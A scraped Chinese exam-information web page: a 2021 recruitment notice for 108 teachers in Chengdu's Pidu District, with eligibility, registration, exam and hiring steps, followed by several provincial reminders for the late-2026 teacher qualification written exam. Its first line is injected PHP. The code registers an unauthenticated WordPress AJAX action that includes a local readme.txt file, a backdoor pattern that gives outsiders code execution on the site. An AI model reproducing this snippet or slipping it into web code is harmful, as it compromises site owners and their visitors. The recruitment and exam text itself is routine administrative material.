if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
四川成都市郫都区2021招聘教师108人公告-全国教师资格考试网

四川成都市郫都区2021招聘教师108人公告

  根据《四川省人力资源和社会保障厅四川省教育厅关于做好2021年全省面向社会公开考试招聘中小学教师工作的通知》(川人社函〔2021〕153号)和《成都市事业单位公开招聘工作人员办法》(成人社发〔2016〕49号)规定及单位用人需求,按照“公开、平等、竞争、择优”的原则,成都市郫都区教育局下属事业单位郫都区教师服务中心拟面向社会公开招聘108名教师。本次公开招聘为编制内招聘,招聘的人员按《事业单位人事管理条例》及相关规定实行聘用制管理。现将有关事项公告如下:

  一、招聘范围及对象

  符合招聘岗位应聘资格条件要求的2021年应届高校毕业生和社会在职、非在职人员。其中,2021年普通高等教育应届毕业生必须在2021年7月31日之前(受疫情影响毕业的可根据所在高校相关规定适当延长)取得招聘资格条件要求的毕业证、学位证、教师资格证等证书;其他人员必须在面试资格复审前取得招聘资格条件要求的毕业证、学位证、教师资格证等证书。未在规定时间内取得相关证书的,不予进入下一个招聘环节或不予聘用,责任由应聘人员本人承担。

  二、招聘岗位应聘资格条件

  (一)具有中华人民共和国国籍;热爱社会主义祖国,拥护中华人民共和国宪法,拥护中国共产党;遵纪守法,品行端正,有良好的职业道德,爱岗敬业,事业心和责任感强。

  (二)身体健康,具有正常履行招聘岗位职责的身体条件,体检合格。

  (三)年龄:35周岁及以下(1986年1月1日及以后出生)。

  (四)符合招聘岗位要求的其他条件(详见附件)。

  (五)机关事业单位编制内人员参考的,须经单位主管部门同意。

  (六)符合《成都市事业单位公开招聘工作人员办法》有关回避的规定。

  (七)有下列情况之一者,不得应聘:

  1.曾受过各类刑事处罚的。

  2.曾被开除党籍、开除公职的。

  3.有违法、违纪行为正在接受审查的。

  4.尚未解除党纪、政纪处分的。

  5.尚处于试用期内的新录用公务员(含参公人员)(期满截止时间2021年4月27日)。

  6.按照《关于加快推进失信被执行人信用监督、警示和惩戒机制建设的意见》规定,由人民法院通过司法程序认定的失信被执行人。

  7.有违反有关规定不适宜报考事业单位的。

  三、招聘岗位及人数(详见附件)

  四、报名

  (一)报名时间:

  网上报名:2021年4月28日9:00至5月12日17:00

  资格审查:2021年4月28日9:00至5月13日12:00(双休日、节假日除外)

  网上缴费:2021年4月28日9:00至5月13日17:00

  准考证打印:2021年5月26日至5月28日。

  笔试时间:2021年5月29日。

  (二)报名方式:

  本次考试采取网络报名方式进行,不设现场报名。

  符合招聘岗位条件要求的应聘人员请登陆报名网站:登录成都市人力资源和社会保障局(http://cdhrss.chengdu.gov.cn/),点击“个人服务—人事考试”栏进入成都人事考试网报名。

  (三)报名要求:

  1.应聘人员报名前应认真阅读本公告以及《2021年成都市郫都区教育局下属事业单位公开招聘教师岗位表》(详见附件)等信息,按照公布的招聘岗位、应聘资格条件及岗位要求报名。每位应聘人员限报一个招聘岗位。

  2.应聘人员提供的信息和材料必须真实完整,应聘人员本人的有效毕业证及其所载学历和专业名称,应与招聘岗位条件要求相符,不符者请勿报名。如发现不符合报考条件或弄虚作假者,将随时取消考试或聘用资格,所造成的一切后果由应聘人员本人承担。

  3.应聘人员打印准考证时所留联系电话号码应准确无误,在公开招聘期间应保持通讯畅通,联系方式变更后,应主动告知招聘单位。因无法与应聘人员取得联系所造成的一切损失由应聘人员本人承担。

  4.如应聘人员在公开招聘期间遗失身份证不能及时补办有效证件的,须持户口所在地公安部门出具的加盖鲜章的核查户籍材料。

  (四)报名程序:

  应聘人员报名前应认真阅读本公告,仔细了解招聘岗位条件要求等信息。

  1.报名注册。应聘人员须按网络提示进行注册,填写个人基本信息并上传照片(已经注册的可直接登录报名)。电子照片须为本人近期免冠正面证件照,格式为jpg,像素为102(宽)×126(高),大小在20KB至160KB之间。报考人员可下载并使用自动审核程序处理后上传照片,系统会自动审核照片。不按要求上传照片或照片模糊不清的将会导致应聘者资格审查不通过。照片质量不合格的,应聘人员需按要求重新上传。

  2.填报信息。上传照片后应聘人员在网上选择应聘岗位应如实、准确填写《应聘资格审查表》的各项内容并认真核对。提示:(1)除2021年应届毕业生外,其他应聘人员务必在“特长”栏目内注明所取得的教师资格证的资格种类(学段)及任教学科,如:高级中学语文教师资格证、中等职业学校语文教师资格证、初级中学语文教师资格证、小学语文教师资格证、幼儿园教师资格证等;(2)报考小学语文3、小学数学3的应聘人员,需在“特长”栏目内填报其他条件中须具备条件,如:区县优秀教师、区县骨干教师等或区县语文(数学)说课、赛课二等奖等;(3)所有应聘人员务必在“学历”栏注明是否属于普通高等教育毕业。(4)报考面向2021年应届高校毕业生及2年择业期内未落实工作单位的2019、2020年高校毕业生专项招聘岗位的还需在“特长”栏目内承诺,如:报名开始前未落实工作。确认无误后提交。如因填写错误、不完整、不准确造成资格审查不通过的,应聘人员修改后,在报名截止前可重新提交。报名截止后,将不能报名和再提交,由此产生的后果由应聘人员自行承担。

  3.资格初查。本次考试由成都市郫都区教育局负责进行网上资格初审。应聘人员提交《应聘资格审查表》后的1-2个工作日,登陆成都市人事考试网查询是否通过资格初审,请注意报名时间。报名时应聘人员提供的信息和材料应该真实完整,资格审查工作将贯穿公开招聘的全过程。网络报名资格初审合格不代表最终资格审查合格。

  4.确认缴费。应聘人员按网络提示缴纳笔试考务费(根据四川省发展改革委员会、四川省财政厅《关于重新公布人力资源保障部门行政事业性收费的通知》(川发改价格〔2017〕472号)文件规定,笔试每科收费50元)。逾期未缴费者,视为自动放弃。缴费成功后打印《应聘资格审查表》2份,供资格复审时使用。缴费成功后将不能再更改报名信息,除岗位取消情况外概不办理退费手续。

  申请免缴考务费的应聘人员,请先进行网上缴费。享受最低生活保障金的城镇、农村家庭考生凭其家庭所在地的县(市、区)民政部门出具的享受最低生活保障的证明、特殊困难证明;农村绝对贫困家庭的考生凭其家庭所在地的乡(镇)政府、街道办事处或学校学生处出具的农村特困家庭证明、特殊困难证明;父母双亡、父母一方为烈士或一级伤残军人,且生活十分困难家庭的考生凭民政部门出具的父亲或母亲烈士证明、父亲或母亲一级伤残军人证明,当地派出所出具的父母双亡证明等有效证件于2021年5月25日前的工作日内到成都市人事考试中心(地址:成都市清江东路118号)办理退费手续。逾期未办理者视为自动放弃。

  5.打印准考证。应聘人员报名成功(缴纳了笔试考务费)后,请于2021年5月26日至5月28日凭报名时的姓名和身份证号登陆成都人事考试网,按照网络提示自行打印笔试准考证(本人头像须清楚)。不具备打印条件的报考者,可持本人有效身份证到成都市人事考试中心打印。未打印准考证而影响考试的一切责任由考生本人承担。

  五、考试

  (一)成绩计算

  本次考试采用笔试加面试方式进行。笔试成绩(含政策性加分)占考试总成绩的50%,面试成绩占考试总成绩的50%。

  笔试成绩=《教育公共基础》+政策性加分。

  考试总成绩=(《教育公共基础》+政策性加分)×50%+面试成绩×50%。

  分数折合时有小数点的,四舍五入后保留到小数点后两位。

  (二)笔试

  1.开考比例

  岗位招聘人数与报名人数(指报名成功且已缴纳了笔试考务费)之比原则上不低于1:3(报名人数少的个别岗位,可放宽至1:2),达不到上述比例的,相应调减岗位招聘人数直至取消该招聘岗位。招聘岗位调减或取消情况将于2021年5月17日通过郫都区人民政府门户网(网址www.pidu.gov.cn)公告。招聘岗位被取消但已缴费的报名人员,成都人事考试网将于2021年5月29 日前通过网络平台退还笔试考务费到其支付帐号。

  2.笔试时间:2021年5月29日(具体笔试时间、地点见《准考证》)。

  3.笔试科目:《教育公共基础》,满分为100分。

  4.政策性加分:

  经组织选派在四川省服务的高校毕业生服务基层项目人员(服务期满且考核合格的服务期限认定截止时间为2021年4月27日)、大学生退役士兵,按照有关文件规定享受加分政策。待缴纳了笔试考务费后,在2021年5月19日至2021年5月21日(上午9:00-12:00,下午13:00-17:00)向郫都区人力资源和社会保障局(地址:郫都区德源镇红旗大道北段221号1号楼730室)递交下列申请材料,经审查符合条件的按政策规定加分(已按规定享受过基层服务项目政策性加分、定向招(录)聘、直接考核等优惠政策,考入了国家机关和事业单位的人员再次参加招考的,不再享受同项目加分政策):

  (1)符合政策性加分条件的大学生志愿者,须提供《应聘资格审查表》、本人有效《居民身份证》原件及复印件、服务所在地县级以上项目管理部门出具的证明(内容包括确为志愿者、所属项目计划、服务的单位、协议服务期的年限、服务期是否已满、考核结果、未被机关或事业单位录(聘)用、未享受过招录优惠政策),服务协议、服务证书、相关考核材料原件及复印件。

  (2)符合政策性加分条件的退役大学生士兵,须提供《应聘资格审查表》、本人有效《居民身份证》原件及复印件,普通高等教育全日制普通班毕业证书原件及复印件、《退役证》以及团以上奖励证书(证明)原件及复印件。

  已被录(聘)用的由当地组织人事部门出具是否享受过招录优惠政策的证明材料原件。不按要求提供证明材料或逾期未提供证明材料的,不予受理,视为自动放弃加分申请。

  5.笔试时须携带本人《准考证》和有效《居民身份证》(不含过期身份证和身份证复印件)。

  6.笔试成绩于2021年6月11日在郫都区人民政府门户网(网址www.pidu.gov.cn)公布。根据《四川省人事考试查分规则》规定,本次考试均为客观题科目,不受理查分申请。

  缺考或笔试成绩为0分的报考者,视作自动放弃本次报考资格。

  (三)资格复审

  进入资格复审人员的确定:依据招聘岗位及招聘人数,根据笔试成绩按1:3的比例从高分到低分依次确定(确因笔试参考人数少,不能达到上述比例的,按实际参加笔试的人数确定),与进入资格复审最后一名笔试成绩相同的,一并进入。进入资格复审人员名单、资格复审时间及地点与笔试成绩一起在郫都区人民政府门户网(网址www.pidu.gov.cn)公布。

  进入资格复审的人员应提供以下材料:

  1.本人有效身份证原件及复印件;

  2.《应聘资格审查表》(登陆成都人事考试网自行打印);

  3.往届生提供毕业证、学位证、教师资格证原件及复印件;

  4.普通高等教育应届毕业生提供毕业证、学位证、教师资格证等证书,或提供加盖学校鲜章的成绩单及就业推荐表(且须在2021年7月31日前﹤受疫情影响毕业的可根据所在高校相关规定适当延长﹥交验毕业证等报名资格条件要求的证件,未按要求交验的,不予进入下一个招聘环节或不予聘用,视为自动放弃);

  5. 个人档案保管机构出具的档案存放证明材料原件;

  6.报考岗位要求的其他原件和复印件;

  7.近期免冠一寸彩照两张;

  8.机关事业单位编制内报考人员须提供单位主管部门出具同意报考的证明材料原件。

  资格复审合格的应聘人员领取《面试通知书》。资格复审不合格或逾期未按公告要求参加资格复审的应聘人员,视为自动放弃。由此产生的空缺,按招聘岗位笔试成绩从高分到低分依次等额确定递补人员,与递补进入资格复审最后一名笔试成绩相同的,可一并进入。递补人员名单及相关事宜,于资格复审结束的次日在郫都区人民政府门户网(网址www.pidu.gov.cn)公布。再次出现缺额的,不再递补。

  (四)面试

  1.面试时间、地点、方式详见《面试通知书》。

  2.面试成绩满分为100分。

  3.开考比例:同一招聘岗位按招聘人数与面试人数之比1:3确定进入参加面试人员(报考人数少的个别岗位,可放宽到1:2)。达不到上述比例的,相应调减岗位招聘人数,无法调减的,按照《成都市事业单位公开招聘工作人员办法》(成人社发〔2016〕49号)第二十六条规定办理。招聘岗位调减情况在郫都区人民政府门户网(网址www.pidu.gov.cn)公布。

  4.收费标准:根据四川省发展改革委员会、四川省财政厅《关于重新公布人力资源保障部门行政事业性收费的通知》(川发改价格〔2017〕472号)文件规定,收取面试费80元/人。

  (五)面试成绩和考试总成绩在郫都区人民政府门户网(网址www.pidu.gov.cn)公布。

  六、体检

  依据招聘岗位及招聘人数,按照考生考试总成绩从高分到低分依次等额确定进入体检人员名单。如总成绩相同(折合分数四舍五入保留到小数点后两位),按面试成绩排序(若面试成绩相同,则按笔试科目《教育公共基础》成绩排序。若《教育公共基础》成绩仍相同者,再组织一次面试,按再次面试成绩排序)。

  进入体检人员由招聘主管部门通知并组织体检。体检标准参照《关于印发〈公务员录用体检通用标准(试行)〉的通知》(国人部发〔2005〕1号)、《体检操作手册》《关于修订〈公务员录用体检通用标准(试行)〉及〈公务员录用体检操作手册(试行)〉的通知》(人社部发〔2010〕19号)、《关于进一步做好公务员考试录用体检工作的通知》(人社部发〔2012〕65号)、《关于印发〈公务员录用体检操作手册(试行)〉有关修订内容的通知》(人社部发〔2013〕58号)、《关于修订〈公务员录用体检通用标准(试行)〉及〈公务员录用体检操作手册(试行)〉有关内容的通知 》(人社部发〔2016〕140号)等现行规定执行。岗位或行业有特殊要求的从其规定。体检所产生的一切费用由进入体检人员本人承担。

  进入体检人员初次体检不合格的,可在接到体检结果通知三日内书面申请复检一次,逾期不予受理。复检由招聘主管部门指定到除原体检医院以外的三级甲等综合性医院进行。申请复检人员的体检结果以复检结果为准。

  因进入体检人员未按要求参加体检或体检不合格出现的缺额,按照该招聘岗位已参加面试人员考试总成绩从高分到低分依次等额递补。

  体检结果在郫都区人民政府门户网(网址www.pidu.gov.cn)公布。

  七、考察

  体检合格的由招聘单位及其主管部门对其进行考察,考察工作参照成人办发〔2004〕109号文件规定执行。因个人原因导致招聘单位及其主管部门无法对其进行考察或考察不合格出现的空缺,按照已参加面试人员的考试总成绩从高分到低分依次等额递补。

  八、公示

  考察合格者确定为拟聘用人员在郫都区人民政府门户网(网址www.pidu.gov.cn)上公示,公示时间为七个工作日。对公示期间反映有严重问题并查有实据、不符合应聘资格条件的,取消该拟聘人员的拟聘资格。因取消拟聘资格或个人原因自动放弃出现的空额按照该招聘岗位参加面试人员考试总成绩从高分到低分依次等额递补。再次出现缺额的,不再递补。经公示无异议的拟聘人员,办理聘用手续。

  九、聘用及报到

  (一)拟聘人员应在规定的时限内向单位报到,逾期未报到者,视为自动放弃,由此产生的岗位空额,不再递补。

  (二)招聘人员实行试用期制度,试用期满不合格者予以解聘。

  (三)招聘人员实行服务期制度,在郫都区教育系统服务年限不少于5年。

  十、组织领导与监督

  为保证招聘工作的公开、公平、公正,招聘工作实行信息公开、过程公开、结果公开,接受社会监督。举报者应以真实姓名实事求是地反映问题,并提供必要的调查线索。凡以匿名或其他方式反映的问题不予受理。

  监督电话:028-87958920、028-87825198

  本公告由郫都区教育局负责解释。

  咨询电话: 028-87958571(郫都区教育局), 028-87931248(郫都区人社局)

  附件:2021年成都市郫都区教育局下属事业单位公开招聘教师岗位表

成都市郫都区教育局

成都市郫都区人力资源和社会保障局

2021年4月27日

  四川成都市郫都区2021招聘教师108人公告附件:2021年成都市郫都区教育局下属事业单位公开招聘教师岗位表

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部